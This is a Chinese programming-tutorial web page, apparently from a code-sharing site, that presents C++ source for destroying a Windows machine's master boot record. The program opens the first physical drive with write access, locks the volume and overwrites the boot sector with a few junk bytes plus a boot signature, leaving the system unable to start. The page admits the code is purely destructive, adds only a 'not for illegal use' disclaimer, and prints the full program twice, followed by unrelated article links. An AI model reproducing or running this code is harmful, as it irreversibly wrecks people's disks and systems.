C++破壞MBR的代碼
更新時(shí)間:2014年10月12日 11:36:13 投稿:shichen2014
這篇文章主要介紹了C++破壞MBR的代碼,涉及到對硬盤的主引導(dǎo)記錄的破壞性操作,具有一定的參考價(jià)值,需要的朋友可以參考下
本文實(shí)例講述了C++破壞MBR的代碼,該源碼只有破壞作用,使系統(tǒng)無法進(jìn)入。僅供大家參考借鑒之用。請勿用于非法目的。
源碼來源于網(wǎng)上。具體代碼如下:
復(fù)制代碼 代碼如下:
#include <Windows.h>
#include <stdio.h>
//shellcode隨便寫了點(diǎn) 能破壞MBR,無法進(jìn)入系統(tǒng)
unsigned char scode[]=
"\xb8\x12\x00"
"\xcd\x10\xbd"
"\x18\x7c\xb9";
DWORD writeMBR()
{
DWORD dwBytesReturned;
BYTE pMBR[512]={0};
//將破壞代碼寫入變量pMBR
memcpy(pMBR, scode, sizeof(scode));
pMBR[510]=0x55;
pMBR[511]=0xaa;
//打開物理磁盤
HANDLE hDevice = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("createfile failed...");
return -1;
}
//鎖定卷,使用FSCTL_LOCK_VOLUME時(shí),以下有幾個(gè)參數(shù)設(shè)為NULL,0;
/*Parameters
hDevice
A handle to the volume to be locked. To retrieve a device handle, call the CreateFile function.
dwIoControlCode
The control code for the operation. Use FSCTL_LOCK_VOLUME for this operation.
lpInBuffer
Not used with this operation; set to NULL.
nInBufferSize
Not used with this operation; set to zero.
lpOutBuffer
Not used with this operation; set to NULL.
nOutBufferSize
Not used with this operation; set to zero.
lpBytesReturned
A pointer to a variable that receives the size of the data stored in the output buffer, in bytes. */
DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
//寫入磁盤文件
WriteFile(hDevice, pMBR, 512, &dwBytesReturned, NULL);
DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
return 0;
}
int main(int argc, char* argv[])
{
writeMBR();
return 0;
}
#include <stdio.h>
//shellcode隨便寫了點(diǎn) 能破壞MBR,無法進(jìn)入系統(tǒng)
unsigned char scode[]=
"\xb8\x12\x00"
"\xcd\x10\xbd"
"\x18\x7c\xb9";
DWORD writeMBR()
{
DWORD dwBytesReturned;
BYTE pMBR[512]={0};
//將破壞代碼寫入變量pMBR
memcpy(pMBR, scode, sizeof(scode));
pMBR[510]=0x55;
pMBR[511]=0xaa;
//打開物理磁盤
HANDLE hDevice = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("createfile failed...");
return -1;
}
//鎖定卷,使用FSCTL_LOCK_VOLUME時(shí),以下有幾個(gè)參數(shù)設(shè)為NULL,0;
/*Parameters
hDevice
A handle to the volume to be locked. To retrieve a device handle, call the CreateFile function.
dwIoControlCode
The control code for the operation. Use FSCTL_LOCK_VOLUME for this operation.
lpInBuffer
Not used with this operation; set to NULL.
nInBufferSize
Not used with this operation; set to zero.
lpOutBuffer
Not used with this operation; set to NULL.
nOutBufferSize
Not used with this operation; set to zero.
lpBytesReturned
A pointer to a variable that receives the size of the data stored in the output buffer, in bytes. */
DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
//寫入磁盤文件
WriteFile(hDevice, pMBR, 512, &dwBytesReturned, NULL);
DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
return 0;
}
int main(int argc, char* argv[])
{
writeMBR();
return 0;
}
希望本文所述對大家的C++程序設(shè)計(jì)有所幫助。
您可能感興趣的文章:
- C++動(dòng)態(tài)數(shù)組類的封裝實(shí)例
- C++內(nèi)核對象封裝單實(shí)例啟動(dòng)程序的類
- C++實(shí)現(xiàn)圖形界面時(shí)鐘表盤代碼
- C++畫正弦線實(shí)例代碼
- C++實(shí)現(xiàn)查殼程序代碼實(shí)例
- C++實(shí)現(xiàn)下載的代碼
- 貪吃蛇游戲C++命令行版實(shí)例代碼
- C++實(shí)現(xiàn)讀取特定路徑下文件夾及文件名的方法
- VC++角色游戲中的人物初始化模塊代碼實(shí)例
- VC++基于Dx實(shí)現(xiàn)的截圖程序示例代碼
- VC++簡單實(shí)現(xiàn)關(guān)機(jī)、重啟計(jì)算機(jī)實(shí)例代碼
- C++選擇文件夾代碼的封裝
相關(guān)文章
類成員函數(shù)的重載、覆蓋與隱藏之間的區(qū)別總結(jié)
以下是對類成員函數(shù)的重載、覆蓋與隱藏之間的區(qū)別進(jìn)行了詳細(xì)的總結(jié)分析,需要的朋友可以過來參考下。希望對大家有所幫助2013-10-10
C語言結(jié)構(gòu)體(struct)常見使用方法(細(xì)節(jié)問題)
這篇文章主要介紹了C語言結(jié)構(gòu)體(struct)常見使用方法(細(xì)節(jié)問題),需要的朋友可以參考下2017-03-03
C語言簡明講解三目運(yùn)算符和逗號(hào)表達(dá)式的使用
三目運(yùn)算符,又稱條件運(yùn)算符,它是唯一有3個(gè)操作數(shù)的運(yùn)算符,有時(shí)又稱為三元運(yùn)算符。三目運(yùn)算符的結(jié)合性是右結(jié)合的;逗號(hào)表達(dá)式,是c語言中的逗號(hào)運(yùn)算符,優(yōu)先級別最低,它將兩個(gè)及其以上的式子聯(lián)接起來,從左往右逐個(gè)計(jì)算表達(dá)式,整個(gè)表達(dá)式的值為最后一個(gè)表達(dá)式的值2022-04-04
C++實(shí)現(xiàn)LeetCode(57.插入?yún)^(qū)間)
這篇文章主要介紹了C++實(shí)現(xiàn)LeetCode(57.插入?yún)^(qū)間),本篇文章通過簡要的案例,講解了該項(xiàng)技術(shù)的了解與使用,以下就是詳細(xì)內(nèi)容,需要的朋友可以參考下2021-07-07

